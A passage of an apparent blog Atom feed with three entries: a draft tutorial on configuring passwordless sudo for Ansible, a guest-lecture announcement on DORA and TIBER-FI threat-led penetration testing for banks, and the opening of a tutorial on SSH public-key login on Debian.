&lt;/ul&gt;
&lt;p&gt;Some IaC programs only reliably understand octal modes (numbers), and only as strings. I would also recommend explicit leading zero meaning no special permissions (no setgid...). So &quot;0644&quot;, in quotes. Maybe it has improved over the years? Who knows.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Sudo without password</title>
    <link href="https://terokarvinen.com/passwordless-sudo/"/>
    <id>https://terokarvinen.com/passwordless-sudo/</id>
    <published>2026-04-02T16:04:00+03:00</published>
    <updated>2026-04-02T16:04:00+03:00</updated>
    <content type="html">&lt;p&gt;Ansible needs root on the slave. One way is to allow &#39;sudo&#39; without password.&lt;/p&gt;
&lt;p&gt;Summary for gurus (the rest of us can read the article):&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; /etc/sudoers.d/sudoless&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;%sudoless ALL = (ALL) NOPASSWD: ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;figure class=&quot;right&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w1370.h64430d4b.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w480.h64430d4b.avif 480w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.avif 800w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1200.h64430d4b.avif 1200w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1370.h64430d4b.avif 1370w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.png&quot; srcset=&quot;https://terokarvinen.com/passwordless-sudo/sudo-logo.w800.h64430d4b.png 800w, https://terokarvinen.com/passwordless-sudo/sudo-logo.w1370.h64430d4b.png 1370w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot; width=&quot;800&quot; height=&quot;893&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;This short tutorial assumes you know the &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;basics of Linux command line&lt;/a&gt; and have &lt;a href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/&quot;&gt;installed openssh-server&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;create-the-new-user&quot;&gt;Create the new user &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#create-the-new-user&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s create a user and add it to &quot;sudoless&quot; group that we&#39;ll set up later. We&#39;ll call him antero, a neologism from &quot;Ansible&quot; and &quot;Tero&quot;, yours truly.&lt;/p&gt;
&lt;p&gt;Always use only good passwords. Never use bad passwords, even for a moment. Practice doing it right, don&#39;t practice doing it wrong.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; adduser antero&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; groupadd sudoless&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; adduser antero sudoless&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;broken-sudo-insurance&quot;&gt;Broken sudo insurance &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#broken-sudo-insurance&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Open a new window, ssh to target machine as needed. Then open a root shell using sudo.&lt;/p&gt;
&lt;p&gt;If we break sudo, this might be a way to fix it. Otherwise, broken sudo prevents us from using sudo to fix the broken files.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i	&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; just while fiddling with sudoers&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We don&#39;t wont to work in the root shell (where the prompt is a hash &quot;#&quot;).&lt;/p&gt;
&lt;p&gt;So leave the root shell window behind and go back to the normal window.&lt;/p&gt;
&lt;h2 id=&quot;new-sudoers-rule&quot;&gt;New sudoers rule &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#new-sudoers-rule&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&#39;s create a sudoers rule that allows members of &quot;sudoless&quot; group use &#39;sudo&#39; without password.&lt;/p&gt;
&lt;p&gt;Visudo runs our default $EDITOR. But has some checks for obvious errors.&lt;/p&gt;
&lt;p&gt;As usual, we&#39;ll use .d/ dirs if available. And luckily, sudoers has /etc/sudoers.d/.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; visudo /etc/sudoers.d/sudoless&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add our oneliner there&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What does the sudoers line mean?&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Token&lt;/th&gt;&lt;th&gt;Meaning&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;%sudoless&lt;/td&gt;&lt;td&gt;Percent &quot;%&quot; means group&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ALL&lt;/td&gt;&lt;td&gt;All computers&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;=&lt;/td&gt;&lt;td&gt;Literal equals &quot;=&quot;, a separator&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;(ALL)&lt;/td&gt;&lt;td&gt;Runas: may become any user, including root&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;NOPASSWD&lt;/td&gt;&lt;td&gt;Tag: don&#39;t prompt for password&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;:&lt;/td&gt;&lt;td&gt;Literal colon &quot;:&quot;, a separator&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ALL&lt;/td&gt;&lt;td&gt;All commands permitted&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;So it&#39;s something like:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%group COMPUTERS: (RUNAS) TAG: COMMANDS. 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;test&quot;&gt;Test &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#test&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;not tested == not done&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;New groups are effective only after logout-login. So if you&#39;re logged in as &quot;antero&quot;, log out and back.&lt;/p&gt;
&lt;p&gt;If you have recently given &#39;sudo&#39; commands as &quot;antero&quot;, sudo will remember your credentials for a while. Use &#39;sudo -k&#39; to forget them.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; antero@localhost&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;k&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; echo &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;See you at TeroKarvinen.com&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;See you at TeroKarvinen.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No password asked? Great! You now have passwordless sudo. You could use it with Ansible.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>DORA &amp; Threat Lead Penetration Testing with Marko</title>
    <link href="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/"/>
    <id>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</id>
    <published>2026-03-31T14:54:00+03:00</published>
    <updated>2026-03-31T14:54:00+03:00</updated>
    <content type="html">&lt;p&gt;Banks are now required to do red teaming exercises. Marko Buuri (Bank of Finland) showed us how TIBER-FI helps to create threat intel based red teaming exercises.&lt;/p&gt;
&lt;p&gt;Marko&#39;s visit was part of my &lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;Penetration Testing&lt;/a&gt; course. You can &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;join my list&lt;/a&gt; to get invitations to similar events.&lt;/p&gt;
&lt;h2 id=&quot;synopsis&quot;&gt;Synopsis &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#synopsis&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure class=&quot;right&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1397.h85f0938c.jpg&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w480.h85f0938c.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.avif 800w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1200.h85f0938c.avif 1200w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1397.h85f0938c.avif 1397w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.jpg&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w800.h85f0938c.jpg 800w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course.w1397.h85f0938c.jpg 1397w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot; width=&quot;800&quot; height=&quot;435&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Cybersecurity red team testing has evolved from underground art to regulated operations in the European financial sector. This lecture explores the requirement for advanced threat-led penetration testing in EU&#39;s DORA regulation, and practical guidance on how those projects are organized and delivered according to the TIBER-EU guidance across Europe.&lt;/p&gt;
&lt;h2 id=&quot;slides&quot;&gt;Slides &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#slides&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Buuri 2026: &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a&gt; (pdf, 2 MB)&lt;/p&gt;
&lt;h2 id=&quot;links&quot;&gt;Links &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#links&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng&quot;&gt;DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Article 26 defines threat-lead penetration testing. &quot;Advanced testing of ICT tools, systems and processes based on TLPT&quot;&lt;/li&gt;
&lt;li&gt;Article 27 defines the requirements for the testers. &quot;Requirements for testers for the carrying out of TLPT&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bank of Finland (Suomen Pankki): &lt;a href=&quot;https://www.suomenpankki.fi/tiberfi&quot;&gt;TIBER-FI and TIBER-EU guidance&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf&quot;&gt;TIBER-FI procedures and guidelines&lt;/a&gt; (pdf, 1 MB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Buuri 2026: &lt;a href=&quot;https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ&quot;&gt;D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a&gt;. Video, 45 min. Disobey 2026.&lt;/p&gt;
&lt;h2 id=&quot;slides-taster&quot;&gt;Slides taster &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#slides-taster&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;download the whole deck&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.h054e4bf8.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-07-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.h054e4bf8.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;453&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.he1360952.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-22-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.he1360952.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;459&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w480.hb35e3332.avif 480w, https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.avif 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.png&quot; srcset=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/slide-32-buuri-2026-dora-and-threat-lead-penetration-testing-teros-pentest-course.w800.hb35e3332.png 800w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;450&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;bio&quot;&gt;Bio &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#bio&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Marko Buuri is cyber security adviser in the Bank of Finland (Suomen Pankki). He has over 20 years of in-house and consulting cyber experience. Since 2020 he&#39;s been involved in implementing and operating TIBER-FI red team testing framework for the financial sector in Finland.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>SSH public key - Login without password</title>
    <link href="https://terokarvinen.com/ssh-public-key-login-without-password/"/>
    <id>https://terokarvinen.com/ssh-public-key-login-without-password/</id>
    <published>2026-03-26T14:50:00+02:00</published>
    <updated>2026-03-26T14:50:00+02:00</updated>
    <content type="html">&lt;p&gt;SSH is the leading solution for securily logging into servers.&lt;/p&gt;
&lt;p&gt;Many products use SSH in the background: git, rsync, ansible...&lt;/p&gt;
&lt;p&gt;Public key authentication is quite convenient. You don&#39;t need to type your password for every &#39;git push&#39; or &#39;ansible-playbook&#39;. Use correctly, it can also make your server more secure.&lt;/p&gt;
&lt;p&gt;This example is written for Debian 13-trixie.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;install-ssh&quot;&gt;Install SSH &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#install-ssh&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Install the OpenSSH-server package&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get update&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;y&lt;/span&gt; install ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make SSH daemon start on boot (enable) and also start it now (--now)&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; systemctl enable&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;now&lt;/span&gt; ssh&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
